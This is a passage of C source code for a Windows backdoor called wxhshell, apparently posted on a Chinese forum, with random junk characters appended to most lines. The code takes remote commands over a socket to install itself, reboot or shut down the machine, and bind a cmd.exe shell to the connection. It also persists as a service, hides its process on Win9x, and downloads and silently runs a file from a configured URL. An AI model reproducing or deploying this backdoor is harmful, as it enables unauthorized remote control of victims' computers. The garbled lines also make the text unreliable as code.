    switch(cmd[0]) { KkCsQ~po  
  ^G4@cR.An  
  // 帮助 F ESl#.}  
  case '?': { R5&<\RI0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zxkO&DGRbN  
    break; /  QT>"  
  } l2ie\4dK@  
  // 安装 X0]{8v%  
  case 'i': { L8(2or  
    if(Install()) wsB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Up0kTL  
    else >R5A@0@d5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U9jdb9 |  
    break; ),Hr  
    } 7^tYtMm|U  
  // 卸载 WtO@Kf:3GH  
  case 'r': { 0#4A0[vV  
    if(Uninstall()) *Qyu QF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1v7(`O  
    else "z*.Bk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4W!Md  
    break; =J|jCK[r  
    } NY|hE@{2.  
  // 显示 wxhshell 所在路径 m^ Epw4eg  
  case 'p': { Kg`P@  
    char svExeFile[MAX_PATH]; 9WI5\`*"  
    strcpy(svExeFile,"\n\r"); X *EseC  
      strcat(svExeFile,ExeFile); "!CVm{7[  
        send(wsh,svExeFile,strlen(svExeFile),0); suE8"v!sk  
    break; :zY;eJKm  
    } Ve${g`7&  
  // 重启 -*Tf.c  
  case 'b': { #%w+PL:*O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O(VWJ@EHn  
    if(Boot(REBOOT)) t2Jf+t_B7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h=\1ZQKC)  
    else { =CO) Q2  
    closesocket(wsh); +r7hc;+G  
    ExitThread(0); r+h%a~A#>  
    } \GQRpJ#h1  
    break; C#e :_e]  
    } 2vU-9p {  
  // 关机 V'tR \b  
  case 'd': { v(GnG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &iZt(XD  
    if(Boot(SHUTDOWN)) !#~KSO}zW2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyU8{-q  
    else { TGU7o:2  
    closesocket(wsh); $gN\%X/n"1  
    ExitThread(0); d3 i(UN]  
    } X)6G :cD  
    break; j}d):3!  
    } a6cU<(WDeh  
  // 获取shell ?iV}U  
  case 's': { $STGH  
    CmdShell(wsh); k=mLcP  
    closesocket(wsh); GyMN;|  
    ExitThread(0); i/I  
    break; cMF)2^w}  
  } :*BN>*1^\r  
  // 退出 H }]Zp  
  case 'x': { lZ)6d-vK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oV;sd5'LG  
    CloseIt(wsh); mtkZF{3Jx  
    break; GF9[|). T  
    } 0^\H$An*k  
  // 离开  :\'1x  
  case 'q': { 0Ze&GK'Hf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G_5{5Ar  
    closesocket(wsh); 7w" !"W#  
    WSACleanup(); 9H;Os:"\|  
    exit(1); 38m9t'  
    break; YgjW%q   
        } YpXd5;'  
  } ULu@"  
  } & wtE"w  
V6](_w!  
  // 提示信息 TTl9xs,nO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pfIK9>i  
} 1%vE7a>{  
  } $H.U ~  
V`LE 'E  
  return; :h(3Ep  
} {d'B._#i  
W`JI/  
// shell模块句柄 X_nbNql  
int CmdShell(SOCKET sock) h$$JXf  
{ UMBeY[ ?  
STARTUPINFO si; Q?LzL(OioN  
ZeroMemory(&si,sizeof(si)); y7CXE6Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +mD;\iW]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @HB=h N  
PROCESS_INFORMATION ProcessInfo; B8T5?bl  
char cmdline[]="cmd"; L gX2KU"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yx&}bu\  
  return 0; ib 'l:GM  
} ~N; dX[@BT  
J Q*~le*  
// 自身启动模式 ws,?ImA  
int StartFromService(void) #Dgu V  
{ *^7^g!=z2  
typedef struct K"g{P  
{ R\n@q_!`X  
  DWORD ExitStatus; 4IB`7QJq  
  DWORD PebBaseAddress; N4-Y0BO  
  DWORD AffinityMask; |5FEsts[  
  DWORD BasePriority; K%BFR,)g  
  ULONG UniqueProcessId; yB *aG  
  ULONG InheritedFromUniqueProcessId; 5>CeFy  
}   PROCESS_BASIC_INFORMATION; _C1u}1hW#  
h82y9($cZ  
PROCNTQSIP NtQueryInformationProcess; XPq`; <G  
2uY:p=DxG9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ASMItT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X"g,QqDD  
7KRNTnd  
  HANDLE             hProcess; ho~WD'i  
  PROCESS_BASIC_INFORMATION pbi; 'cQ`jWZQ  
,g?M[(wtc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gv8Z  
  if(NULL == hInst ) return 0; >dF #1  
gGA5xkA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h<?I?ZR0$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X%iqve"{nB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #q0xlF@  
iK'A m.o+  
  if (!NtQueryInformationProcess) return 0; F/A)2 H_  
B}p.fE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n Zx^ej\  
  if(!hProcess) return 0; +U<Ae^V  
l`0JL7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YWi Y[  
EmP2r*"rb  
  CloseHandle(hProcess); JL:B4 f%}B  
flBJO.2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +{)V%"{u:  
if(hProcess==NULL) return 0; J[K>)@I/  
7#*O|t/'  
HMODULE hMod; B]7QOf"  
char procName[255]; MD>E0p)  
unsigned long cbNeeded; (@\0P H0  
,0>_(5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?PB}2*R  
e<Oz%  
  CloseHandle(hProcess); Dp@m"_1`+  
CFY4PuI"!  
if(strstr(procName,"services")) return 1; // 以服务启动 'xM\txZ;  
E/ku VZX  
  return 0; // 注册表启动 )=,;-&AR  
} Rg~[X5  
)[t3-'  
// 主模块 ooYs0/,{  
int StartWxhshell(LPSTR lpCmdLine) H{d/%}7[v  
{ mA3yM#  
  SOCKET wsl; n^epC>a"b  
BOOL val=TRUE; VD=F{|^  
  int port=0; L=<,+m[!  
  struct sockaddr_in door; xoE,3Sn  
JlH5 <:#PN  
  if(wscfg.ws_autoins) Install(); ue}lAW{q  
v{U1B  
port=atoi(lpCmdLine); YH!` uU(Lh  
FkoN+\d  
if(port<=0) port=wscfg.ws_port; lG X_5R  
_~ 7cn  
  WSADATA data; h"Q&E'0d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ds QGj&  
\V<deMb=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |<7nf75c}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |fm"{$u  
  door.sin_family = AF_INET; N &vQis  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !1?Nc}T0Q&  
  door.sin_port = htons(port); ~E7=c3:"  
gCS%J40r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .J|" bs9  
closesocket(wsl); hLLg  
return 1; /F @a@m|  
} j6$_U@)%O  
UbV} !  
  if(listen(wsl,2) == INVALID_SOCKET) { V0 OT_F  
closesocket(wsl); FY]z*=  
return 1; ;tLu  
} rB%acTCz=[  
  Wxhshell(wsl); [mk!] r  
  WSACleanup(); s"]LQM1|  
$X;fz)u  
return 0; !~k-S exh  
;zvg]  %  
} ^?tF'l`  
A@"CrVE  
// 以NT服务方式启动 "%Eyb\V!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C_Z[ul  
{ ;HaG-c</  
DWORD   status = 0; jW+L0RkX  
  DWORD   specificError = 0xfffffff; %.D@{O  
fKAG+t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nPUq+cXy]C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C '}8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /z+}xRS  
  serviceStatus.dwWin32ExitCode     = 0; Ye_)~,{,p  
  serviceStatus.dwServiceSpecificExitCode = 0; aKC3T-  
  serviceStatus.dwCheckPoint       = 0; m:~s6c6H  
  serviceStatus.dwWaitHint       = 0; scUWI"  
e&u HU8k*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rT ~qoA\  
  if (hServiceStatusHandle==0) return; ;wz YZ5=Di  
c;bp[ Y3R  
status = GetLastError(); D|n`9yv a  
  if (status!=NO_ERROR) !W8'apG&[  
{ L +s,,k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .yF7{/  
    serviceStatus.dwCheckPoint       = 0; ZuF-$]oL&  
    serviceStatus.dwWaitHint       = 0; F/}PN1#T  
    serviceStatus.dwWin32ExitCode     = status; sEL[d2oO  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ua{qJ9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pUr.<yc&u  
    return; H6*d#!  
  } y)!K@  
X4Eq/q"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *B`wQhB%  
  serviceStatus.dwCheckPoint       = 0; hM(|d@)  
  serviceStatus.dwWaitHint       = 0; 1NT@}j~/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q=E<y  
} \ey3i((L  
:NO'[iE  
// 处理NT服务事件,比如:启动、停止 T.aY {Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [:sV;37s  
{ _y),C   
switch(fdwControl) Wgdij11e  
{ X%S?o  
case SERVICE_CONTROL_STOP: !["WnF{5eC  
  serviceStatus.dwWin32ExitCode = 0; ,`MUd0 n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5B@+$D[0?3  
  serviceStatus.dwCheckPoint   = 0; .QzHHW4&0  
  serviceStatus.dwWaitHint     = 0; X5527`?e  
  { ' Ky5|4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  &jf:7y  
  } <`b)56v:+  
  return; r+;op_  
case SERVICE_CONTROL_PAUSE: ; 7[5%xM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *obBo6!zM  
  break; jX!,xS%(  
case SERVICE_CONTROL_CONTINUE: \L(~50{(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gEMxK2MNXj  
  break; JV Fn=Mw  
case SERVICE_CONTROL_INTERROGATE: ^N _kiSr  
  break; ?A;x%8}  
}; A$Mmnu%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;,Q8z%  
} Mk7,:S  
mTT1,|  
// 标准应用程序主函数 %vDN{%h8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %:sQ[^0  
{ Dx/BxqG6}_  
Q-_&5/G  
// 获取操作系统版本 [84ss;.$  
OsIsNt=GetOsVer(); Ro`9Ibqr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Iw6oG  
& xo,49`!  
  // 从命令行安装 +6-c<m|  
  if(strpbrk(lpCmdLine,"iI")) Install(); )"q$g&  
-uXf?sTV  
  // 下载执行文件 z;JyHC)  
if(wscfg.ws_downexe) { +hI:5(_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o<`Mvw@Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9}p?h1NrY  
} lO! Yl:;m%  
oW3j|V  
if(!OsIsNt) { A}v! vVg  
// 如果时win9x,隐藏进程并且设置为注册表启动 ABw:SQ6=Q  
HideProc(); 8i/5L=a"`  
StartWxhshell(lpCmdLine); xr}3vJ7  
} +Kw:z?  
else ^pruQp1X  
  if(StartFromService()) gQMcQV]C$  
  // 以服务方式启动 v% 6uU  
  StartServiceCtrlDispatcher(DispatchTable); E1IT>_  
else k!l\|~  
  // 普通方式启动 F_.rLgGY  
  StartWxhshell(lpCmdLine); lKWe=xY\B  
Hd]o?q\  
return 0; 2wLnRP`*  
}
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只看该作者 1 发表于: 2006-10-10
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